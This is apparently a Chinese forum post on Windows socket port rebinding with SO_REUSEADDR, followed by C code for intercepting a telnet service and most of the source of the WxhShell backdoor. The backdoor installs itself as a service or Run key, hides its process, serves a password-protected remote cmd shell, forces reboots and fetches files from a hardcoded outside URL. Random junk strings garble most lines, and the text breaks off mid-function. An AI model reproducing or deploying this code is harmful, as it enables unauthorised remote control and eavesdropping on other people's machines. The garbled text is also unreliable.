在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
BtrMv6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/@64xrvIl= VwKfM MI8 saddr.sin_family = AF_INET;
I7HGV( T"3:dkQw saddr.sin_addr.s_addr = htonl(INADDR_ANY);
!0_/=mA^ A,EuUp
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
i9Eh1A3Y \}J"`J\Q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
$DdC|gMK R|92T*h 这意味着什么?意味着可以进行如下的攻击:
;`h$xB( lNz1|nS(Kd 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Y;"jsK{$ PJT$9f~3;. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
8 ,W*)Q i9|}-5ED 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
L d{`k |AXV4{j_i 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@RZbo@{~ ~ike&k{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ftz-l&5 [P|kY 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
ibn\&}1 ;xL8W 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
nErr &{C #O{cplh, #include
c!GJS`/ #include
^{YK'60 #include
{v"Y!/
[z #include
9g|99Z DWORD WINAPI ClientThread(LPVOID lpParam);
e8M0Lz#} int main()
DVt^O[ {
D`fIw`
_ WORD wVersionRequested;
D!8v$(#hR DWORD ret;
Uz=ol.E WSADATA wsaData;
>)HKruSW. BOOL val;
'nS>'yYH# SOCKADDR_IN saddr;
T 0qM" SOCKADDR_IN scaddr;
caxOxRo\ int err;
d@tf+_Ih SOCKET s;
A"1%E.1 SOCKET sc;
}~p%e2< int caddsize;
_gEojuaN HANDLE mt;
_U9.u#>sV DWORD tid;
Z_a@,k:+[ wVersionRequested = MAKEWORD( 2, 2 );
/A+5q\8G err = WSAStartup( wVersionRequested, &wsaData );
/Ny#+$cfk if ( err != 0 ) {
7uf5w0] printf("error!WSAStartup failed!\n");
9fWR8iV return -1;
&fsk ESV0 }
wD/jN: saddr.sin_family = AF_INET;
+-T|ov< j`+{FCB7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
9Wg;M#c2Y| &Xc=PQ:I saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
IgRi(q^b- saddr.sin_port = htons(23);
P4LiU2C if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
bM2x
(E\O {
7{]L{ j- printf("error!socket failed!\n");
MEM(uBYKOb return -1;
1h#/8X }
NZO86y/ val = TRUE;
ac6@E4 _ //SO_REUSEADDR选项就是可以实现端口重绑定的
:9e4(7~ona if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
("YWJJ'H {
1<cx!=w' printf("error!setsockopt failed!\n");
; K,5qs return -1;
| )br-?2 }
A
H=%6oT2 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ArScJ\/Nwv //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
RN}joKV //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
D2J)qCK1) C$$Zwgy if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
RR|X4h0.
{
VrWQ] L ret=GetLastError();
QpA$=' printf("error!bind failed!\n");
=A~5?J= return -1;
8kC$Z ) }
Q`{Vs:8X listen(s,2);
H?FiZy*[Y while(1)
s8 u`v1 {
tvBLfqIr caddsize = sizeof(scaddr);
=*{7G*tS //接受连接请求
C+>mehDC_G sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
s8'!1rHd if(sc!=INVALID_SOCKET)
R;fe v
1mE {
WYP\J1sy mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
fqBz"l>5A if(mt==NULL)
Y]^*mc0fE {
eA{A3.f"Hz printf("Thread Creat Failed!\n");
72/ bC break;
-8vGvI> }
Y;iI=U }
|onLJY7) CloseHandle(mt);
s
Ytn'&$\ }
4>2\{0r closesocket(s);
O9m sPb: WSACleanup();
<WnIJum return 0;
#DARZh U) }
m%UF{I, DWORD WINAPI ClientThread(LPVOID lpParam)
^6Zx-Mf\ {
66sgs16k SOCKET ss = (SOCKET)lpParam;
feH&Ug4?G SOCKET sc;
g-,lY| a unsigned char buf[4096];
WncHgz SOCKADDR_IN saddr;
f,|;eF-Z long num;
Y^C(<N$ DWORD val;
2
E?]!9T~| DWORD ret;
Y]Z& //如果是隐藏端口应用的话,可以在此处加一些判断
2Nx:Y+[
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
9P,[MZ saddr.sin_family = AF_INET;
JG&E"j#q saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
0LYf0^P saddr.sin_port = htons(23);
+t&+f7 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%%I:L~c {
bKsEXS printf("error!socket failed!\n");
`Y+R9bd return -1;
9Y2.ob!$} }
D=Nt0y val = 100;
x>,wmk5) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(kyRx+gA {
9G"4w` P ret = GetLastError();
:4x6dYNU return -1;
VKfpk^rU }
L@jpid95 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mM2I {
ZoYllk ret = GetLastError();
w~+\Mf z return -1;
Jr%F#/ }
WnU2.: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
qrjSG%i~J7 {
j=G printf("error!socket connect failed!\n");
Fe+(+ S closesocket(sc);
YMy** closesocket(ss);
W#kyD)(F return -1;
iQ1[60?)T }
Z0O0Q =e\Y while(1)
VC_F
Cz {
=v!Z8zk=W //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
WvoIh4] //如果是嗅探内容的话,可以再此处进行内容分析和记录
9$qw&j[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
-e?n4YO*\ num = recv(ss,buf,4096,0);
VKw.g@BY if(num>0)
?R4u>AHS@ send(sc,buf,num,0);
,\1Rf. else if(num==0)
N)a5~<fBG break;
{?++T 0 num = recv(sc,buf,4096,0);
'66nqJb* if(num>0)
QFN 9j send(ss,buf,num,0);
M?;YpaSe+ else if(num==0)
90,UhNz9D break;
;49sou }
m6H+4@Z-;( closesocket(ss);
@MoCEtt closesocket(sc);
:cIPX%S return 0 ;
|}:q@]dC# }
;Xqi;EA PR AP~P&^ [3ggJcUgW> ==========================================================
K6)IBV; I>w|80%% 下边附上一个代码,,WXhSHELL
'vZy-qHrV EZVgTySd ==========================================================
;PqC*iz ?5;wPDsK #include "stdafx.h"
jsF5q~F ME$J?3r #include <stdio.h>
.QA1'_9 #include <string.h>
Im};wJ& #include <windows.h>
(lq%4h #include <winsock2.h>
j~=<O<P #include <winsvc.h>
sFvYCRw
/ #include <urlmon.h>
n=0^8QQ
[9}<N2,9z #pragma comment (lib, "Ws2_32.lib")
,J<+Wxz #pragma comment (lib, "urlmon.lib")
w@YPG{"j Q,tjODc6n #define MAX_USER 100 // 最大客户端连接数
#,FXc~ V #define BUF_SOCK 200 // sock buffer
aI}htb{m` #define KEY_BUFF 255 // 输入 buffer
4x=sJ%E ^5>W`vwp #define REBOOT 0 // 重启
Xk:3w, #define SHUTDOWN 1 // 关机
q$s)(D
J-azBi #define DEF_PORT 5000 // 监听端口
mi5bk>o /xr75|-8 #define REG_LEN 16 // 注册表键长度
`#r/L@QI #define SVC_LEN 80 // NT服务名长度
KV'3\`v@LY .m%5Esx // 从dll定义API
hYA1N&yz@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
>* F#ZZv}p typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\l# H#~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
%kH,Rl\g typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
X'%BS hY *^rY' // wxhshell配置信息
Nr"GxezU+A struct WSCFG {
0C"2?etMx int ws_port; // 监听端口
7|[Dr@.S char ws_passstr[REG_LEN]; // 口令
C\;%IGn int ws_autoins; // 安装标记, 1=yes 0=no
t: ,lz8Y~ char ws_regname[REG_LEN]; // 注册表键名
C.H(aX)7 char ws_svcname[REG_LEN]; // 服务名
*+2BZZwT char ws_svcdisp[SVC_LEN]; // 服务显示名
Z^J)]UL/ char ws_svcdesc[SVC_LEN]; // 服务描述信息
BvH I}= char ws_passmsg[SVC_LEN]; // 密码输入提示信息
-- IewW int ws_downexe; // 下载执行标记, 1=yes 0=no
CPY|rV char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
W>,D$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
2$2@?]|? 31%3&B:Ts };
B[f:T% 9\E];~"iP // default Wxhshell configuration
*$JS}Pax struct WSCFG wscfg={DEF_PORT,
Q&PEO%/D "xuhuanlingzhe",
!>+m46A 1,
p^p1{%= "Wxhshell",
hu}uc&N)iE "Wxhshell",
I8IH\5k "WxhShell Service",
ymR AQVv "Wrsky Windows CmdShell Service",
)U0I|dx "Please Input Your Password: ",
0&Iu+hv 1,
~X'hRNFx~ "
http://www.wrsky.com/wxhshell.exe",
X*bOE} "Wxhshell.exe"
i\4d d)p- };
9`@}KnvB? @)z?i // 消息定义模块
e;"%h%' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
)IIWXN2A char *msg_ws_prompt="\n\r? for help\n\r#>";
gy#G; 9p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
_?bF;R char *msg_ws_ext="\n\rExit.";
EU Oa8Z char *msg_ws_end="\n\rQuit.";
KEq48+j char *msg_ws_boot="\n\rReboot...";
D6\k}4n- char *msg_ws_poff="\n\rShutdown...";
)sK_k
U{\ char *msg_ws_down="\n\rSave to ";
SpEu>9g& <BBSC char *msg_ws_err="\n\rErr!";
tqKX\N=5^ char *msg_ws_ok="\n\rOK!";
iRv\:.aQ. +<f+kh2L
char ExeFile[MAX_PATH];
0f5)] int nUser = 0;
em ]0^otM HANDLE handles[MAX_USER];
6}\J-A/ int OsIsNt;
Gq?>Bi;` "Gq%^^* SERVICE_STATUS serviceStatus;
:&RpB^] SERVICE_STATUS_HANDLE hServiceStatusHandle;
I Vw'YtZ <){J|O // 函数声明
92*"3) int Install(void);
"9y0]~ int Uninstall(void);
uL~.#Y_jQ int DownloadFile(char *sURL, SOCKET wsh);
!;Ctz'wz int Boot(int flag);
F)S?>P& void HideProc(void);
T\7t#Z
k int GetOsVer(void);
nv:VX{% int Wxhshell(SOCKET wsl);
N'21I$ D void TalkWithClient(void *cs);
{Z~ze` N/ int CmdShell(SOCKET sock);
'm/`= QX int StartFromService(void);
RNcnE1= int StartWxhshell(LPSTR lpCmdLine);
_sCzee&uQ mP_c-qD
| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
/BM{tH VOID WINAPI NTServiceHandler( DWORD fdwControl );
F/df!I~ o'YK\L!p // 数据结构和表定义
quq !Jswn SERVICE_TABLE_ENTRY DispatchTable[] =
8ROZ]Xh,x {
<sjz_::V8R {wscfg.ws_svcname, NTServiceMain},
=Zaw>p*H {NULL, NULL}
#!4
HSBf };
I5rAL\ y-G 7q#R,\ // 自我安装
n3s int Install(void)
U{9yfy {
88DMD"$B char svExeFile[MAX_PATH];
uC 2{
Mmy HKEY key;
>T^BD'z@' strcpy(svExeFile,ExeFile);
In#m~nE[M [*Vo`WgbD // 如果是win9x系统,修改注册表设为自启动
~eekv5 if(!OsIsNt) {
%
+M,FgW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
d{]2Q9g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?T'a{~]R RegCloseKey(key);
ey
U*20 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/@LUD= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lfLLk?g3k RegCloseKey(key);
v-B&"XGy: return 0;
1?".R]<{2T }
1X#gHstD }
v)v`896S` }
j[:Iu#VR else {
&W>%E!F [-3x *?Ju // 如果是NT以上系统,安装为系统服务
}#` -mRaU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
g+KuK`\N% if (schSCManager!=0)
Mqmy*m[U {
V_=7q=9mV SC_HANDLE schService = CreateService
p8E6_%Rw (
Twk,R. O schSCManager,
\U HI%1^ wscfg.ws_svcname,
bN>|4hS wscfg.ws_svcdisp,
I@I-QiI SERVICE_ALL_ACCESS,
-1]8f SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
U#(#U0s*- SERVICE_AUTO_START,
%I%OHs SERVICE_ERROR_NORMAL,
\7*"M y* svExeFile,
qW9~S0sl NULL,
B>e},! NULL,
?&@a{- NULL,
'2S?4Z NULL,
p</V_BIW NULL
;PWx#v+vwF );
1&utf0TX6q if (schService!=0)
.J2tm2]"EZ {
lXu6=r CloseServiceHandle(schService);
:v 8~'cZ CloseServiceHandle(schSCManager);
$`|\aXd[C* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>8w=Vlp strcat(svExeFile,wscfg.ws_svcname);
GFYHt!&[\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
UiN6-{v<2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
91}kBj RegCloseKey(key);
h@D!/PS return 0;
PKX
Tj6hj) }
mP-Y9*k
}
rjwP# CloseServiceHandle(schSCManager);
HH7Bg0=( }
4inMd![ }
e!1am%aE !sh>`AF return 1;
,h* 'Cs04h }
70T{tB w72\' // 自我卸载
k\}\>&Zqu int Uninstall(void)
n4DKLAl {
ITBa ^P HKEY key;
?;CMsO*q
7D\:i1~ if(!OsIsNt) {
ew|e66Tw$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-zH` 9>J5| RegDeleteValue(key,wscfg.ws_regname);
Ydh+iLjhx RegCloseKey(key);
DM3 %+ xY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7H_*1_%ZQ RegDeleteValue(key,wscfg.ws_regname);
*T0!q#R RegCloseKey(key);
3KN})*1 return 0;
nb #)$l }
KDJ-IXoU }
fH?s~X] }
[?moS! else {
Kb*X2#;* A%%Vyz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ZRj&k9D^U if (schSCManager!=0)
Pfl8x {
,g{Ob{qT SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1ac;6` if (schService!=0)
G
q2@37U {
i'uSu8$'* if(DeleteService(schService)!=0) {
vALH!Kh CloseServiceHandle(schService);
L31#v$;4 CloseServiceHandle(schSCManager);
] 5:0.$5 return 0;
8\$u/(DX }
m 9.BU2. CloseServiceHandle(schService);
^y<8&ZFH }
6"u"B-cz CloseServiceHandle(schSCManager);
,?`Zrxe[ }
3s$vaV~(a }
%%hG],w ]seOc],4 return 1;
?j@(1",=& }
R9)"%SO<y \'-E[xNcWI // 从指定url下载文件
G^qt@,n$; int DownloadFile(char *sURL, SOCKET wsh)
XywsjeI4 {
l1ViUY&Z HRESULT hr;
Z:Y_{YAD char seps[]= "/";
}MW+K&sIh char *token;
}BJR/r char *file;
.[C@p`DZ char myURL[MAX_PATH];
,]_<8@R char myFILE[MAX_PATH];
/=S\v<z &v g[k#5 strcpy(myURL,sURL);
8m 5T
token=strtok(myURL,seps);
-^&NwLEv= while(token!=NULL)
HAdDr!/` {
V~"-\@ file=token;
ID8u&: token=strtok(NULL,seps);
U\x$@J }
6QG"~>v7'( 4-JyK%m,0 GetCurrentDirectory(MAX_PATH,myFILE);
W9/HM ! strcat(myFILE, "\\");
!]t5(g_ strcat(myFILE, file);
`xF^9;5mi send(wsh,myFILE,strlen(myFILE),0);
Qk]^]I send(wsh,"...",3,0);
f7oJ6'K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
],l\HHQ if(hr==S_OK)
} @4by< return 0;
TWSx9ii!M: else
JbLHW26pl return 1;
i.0.oy> ['Y"6[1 }
kKz>]t"A 9oTtH7% // 系统电源模块
7)dCdO int Boot(int flag)
}}gtz-w {
4{CeV7 HANDLE hToken;
^~JF7u TOKEN_PRIVILEGES tkp;
S$NJmXhx5 {YF(6wVl if(OsIsNt) {
Df.eb|[{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
57[tUO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
s%i
\z }/ tkp.PrivilegeCount = 1;
7&3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
H_>9'( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
|}isSCt if(flag==REBOOT) {
0N`N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
}}u16x}*n return 0;
k\KI#.> }
+D
d! else {
A&D<}y/% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Czb:nyRj return 0;
V2>+s
y }
e>g>)!F }
!v<`^`x9I else {
-
`{T ? if(flag==REBOOT) {
N<^)tR8+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
{iYrC m[_ return 0;
V-kx=M"k }
x,LYfy"0 else {
!4+ FN) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
n.OsmCR N; return 0;
9NeHN@D) }
Y@ X>ejk" }
)LTX.Kg V)A7q9Bum return 1;
xv~Sk2Z+d }
rr]-$]Q p9![8VU // win9x进程隐藏模块
cyBm,! void HideProc(void)
!nL>Ly {
O'h f8w dF$&fo% HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
;e0-FF+ if ( hKernel != NULL )
&X#6jTh+ {
)>,ndKT~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?10L *PD@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
QzS=oiL FreeLibrary(hKernel);
mjKu\7F }
jbWgL$ HsKq/Oyk return;
"xAIK }
\hI|I!sDWy 3 L:SJskYR // 获取操作系统版本
mwO9`AU; int GetOsVer(void)
ujS C {
+h@ZnFp3 OSVERSIONINFO winfo;
Tly*i"[& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
xM=?ES GetVersionEx(&winfo);
VI]~uTV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
V-dyeb return 1;
_6-N+FI else
HT7I~]W return 0;
-f["1-A }
lofP$ S/dj])g // 客户端句柄模块
yM('!iG*/ int Wxhshell(SOCKET wsl)
GD%qrK? {
{9vMc SOCKET wsh;
BAojP1}+, struct sockaddr_in client;
;:/C.%d
DWORD myID;
zMh`Uqid Rk#p zD while(nUser<MAX_USER)
QL:Qzr[ {
%OOy90b2 int nSize=sizeof(client);
i,,mt_/, wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
P"+R:O\!g if(wsh==INVALID_SOCKET) return 1;
XZT|ID_u" j{YIVX
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
#J^ >7v if(handles[nUser]==0)
ogqKM_ closesocket(wsh);
:9f 9Z7M else
hISYtNWjd" nUser++;
+2>, -V }
.EZ8yJj1Q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ssAGWP Z-3("%_$/ return 0;
+V;d^&S }
}=A+W2D eOahr:Db // 关闭 socket
1BSn#Dnj void CloseIt(SOCKET wsh)
Q-J} :U {
ZEs^b closesocket(wsh);
m -0}Pe9L nUser--;
mQ3gp&d3W ExitThread(0);
5w5"rcV }
0E9 lv"3o KQ ^E\,@o // 客户端请求句柄
SgkW-# void TalkWithClient(void *cs)
i
^,
$/ {
5?.!A
'zb P| ftEF SOCKET wsh=(SOCKET)cs;
&FG0v<f5Pv char pwd[SVC_LEN];
9Y?``QBN char cmd[KEY_BUFF];
5%+epzy char chr[1];
G 2uM 6 int i,j;
Z/q'^PB
p ?*6Q;.f< while (nUser < MAX_USER) {
ni6zo~+W] 5a4i)I63o if(wscfg.ws_passstr) {
%~P3t=r if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\d3 ~kq3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!Wj`U$]; //ZeroMemory(pwd,KEY_BUFF);
jOZ>^5} i=0;
E8 5TCS1 while(i<SVC_LEN) {
AoY!f'Z %qEp{itq // 设置超时
r{f$n fd_set FdRead;
2OjU3z<J struct timeval TimeOut;
8( Q[A FD_ZERO(&FdRead);
5 BeU/ FD_SET(wsh,&FdRead);
{\X$vaF TimeOut.tv_sec=8;
TN<"X :x9 TimeOut.tv_usec=0;
V P(JV int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
7Kpv fyL{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
2InM(p7j~K `|mV~F| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
c*i,z pwd
=chr[0]; \eAV: qV
if(chr[0]==0xd || chr[0]==0xa) { bK{ VjXF
pwd=0; &'Xgf!x
break; ?v`24p3PC
} JW"`i
i++; }GHCu
} '<'5BeU
b5?k gY
// 如果是非法用户,关闭 socket V9cj
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v=cX.^L
} ~du U& \
zjSHa'9*
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5mZwg(si
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CZ>Ujw=&k
nRT]oAi
while(1) { ])q,mH
^1<i7u
ZeroMemory(cmd,KEY_BUFF); &Lbwx&!0b
?!.J0q
// 自动支持客户端 telnet标准 bdEIvf7
j=0; 7Hj7b:3K&!
while(j<KEY_BUFF) {
bDD29
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W$W w/mcl+
cmd[j]=chr[0]; bf.yA:~U
if(chr[0]==0xa || chr[0]==0xd) { 7 0EH~
cmd[j]=0; wOLV?Vk
break; S,Q(,e^&
} `fl$ o6S/
j++; 3Bcv"O,B!{
} =J]M#6N0
9W-1P}e,
// 下载文件 8"p rWAN
if(strstr(cmd,"http://")) { wFjQ1<s=
send(wsh,msg_ws_down,strlen(msg_ws_down),0); gSf> +|
if(DownloadFile(cmd,wsh)) ^z~drcR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N^AlhR^
else Spn)M79
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BkY#wJ'
} ab#z&jg!
else { BB_(!omq[
OX?E3 <8`
switch(cmd[0]) { I!Mkss xc
4N=
gl(
// 帮助 &wN}<Ge6
case '?': { 0uIBaW3s
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &|' NDcp
break; yo%Nz"
} `?f<hIJoz
// 安装 Tt=;of{
case 'i': { %a:T9v
if(Install()) lkC| g%f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |C5{[ z
else tu/4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j?g#8L;W\w
break; QL2 `X2
} IRTWmT
jT
// 卸载 I3}]MAE
case 'r': { B\qy:nr j
if(Uninstall()) N vTp1kI]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G:`So
else ltMcEv-d0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y=jZ8+M
break; RD;A
} O^ 5C
// 显示 wxhshell 所在路径 Om_ "X6
case 'p': { hh2&FI
char svExeFile[MAX_PATH]; ]z| 2
strcpy(svExeFile,"\n\r"); MXjN./
strcat(svExeFile,ExeFile); Ps;4 ]=c
send(wsh,svExeFile,strlen(svExeFile),0); N/<c;"o
break; _H-Fm$Q
} XqwP<5Z
// 重启 .F[5{XV
case 'b': { d/awQXKe7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2izBB,# "
if(Boot(REBOOT)) M@p<L
VP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <q Q@OUI
else { E>O@Bv
closesocket(wsh); ;e9&WEG_\
ExitThread(0); +_QcLuV,
} XQmg^x[,A
break; )@!T_#
} J3B+WD]
// 关机 Z&=Oe^
case 'd': { `B,R+==G:
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sGpAaGY>
if(Boot(SHUTDOWN)) fzAkUvo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zAev@+.ld
else { 91DevizXx
closesocket(wsh); z46Sh&+
ExitThread(0); } :gi<#-:G
} [HQ/MkP-Z
break; Og?GYe^_
} NRspi_&4J
// 获取shell Y{Lxo])e
case 's': { @gmo;8?k
CmdShell(wsh); KT AQ6k
closesocket(wsh); 2 zG;91^
ExitThread(0); =WEDQ\ c
break; ` .]oH1\
} 0%,?z`UY
// 退出 IGab~`c-[
case 'x': { y(E<MRd8V
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MmFtG-
CloseIt(wsh); #&?}h)Jr'
break; 4r86@^c*
} _'^_9u G
// 离开 g_?Q3
case 'q': { ]86*k%A
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <AP.m4N) _
closesocket(wsh); i9`-a/
WSACleanup(); :@@m'zF<;
exit(1); L>0Pur) [
break; DG&aFmC
} a=v H:D
} WGyPyG#Fl
} Dd-a*6|x
Uv~|Xj4.
// 提示信息 mHJGpJ=a-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $1Wb`$
} 5fz
K*[B
}
AsvH@\\
AVfF<E/
return; F
IB)cpo
} Y]5MM:mI
`)MKCw$e
// shell模块句柄 q!~DCv df
int CmdShell(SOCKET sock) [$:L|V!{
{ 8U7dd[
STARTUPINFO si; Lr=^0
ZeroMemory(&si,sizeof(si)); ,}9
tJY@E
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9}tl@
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3\C+g{}e
PROCESS_INFORMATION ProcessInfo; 2!9Zw$
char cmdline[]="cmd"; w@n}DCFt
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C}DIm&))
return 0; 1TF S2R n
} BHErc\ITP
![J_6f}!
// 自身启动模式 ~k}O"{
y
int StartFromService(void) SUW=-M
{ x3.,zfWs
typedef struct j*;.>akY7
{ sYvlf0
DWORD ExitStatus; nHp(,'R/
DWORD PebBaseAddress; 4I|pkdF_
DWORD AffinityMask; DF
gM7if
DWORD BasePriority; PtzT><
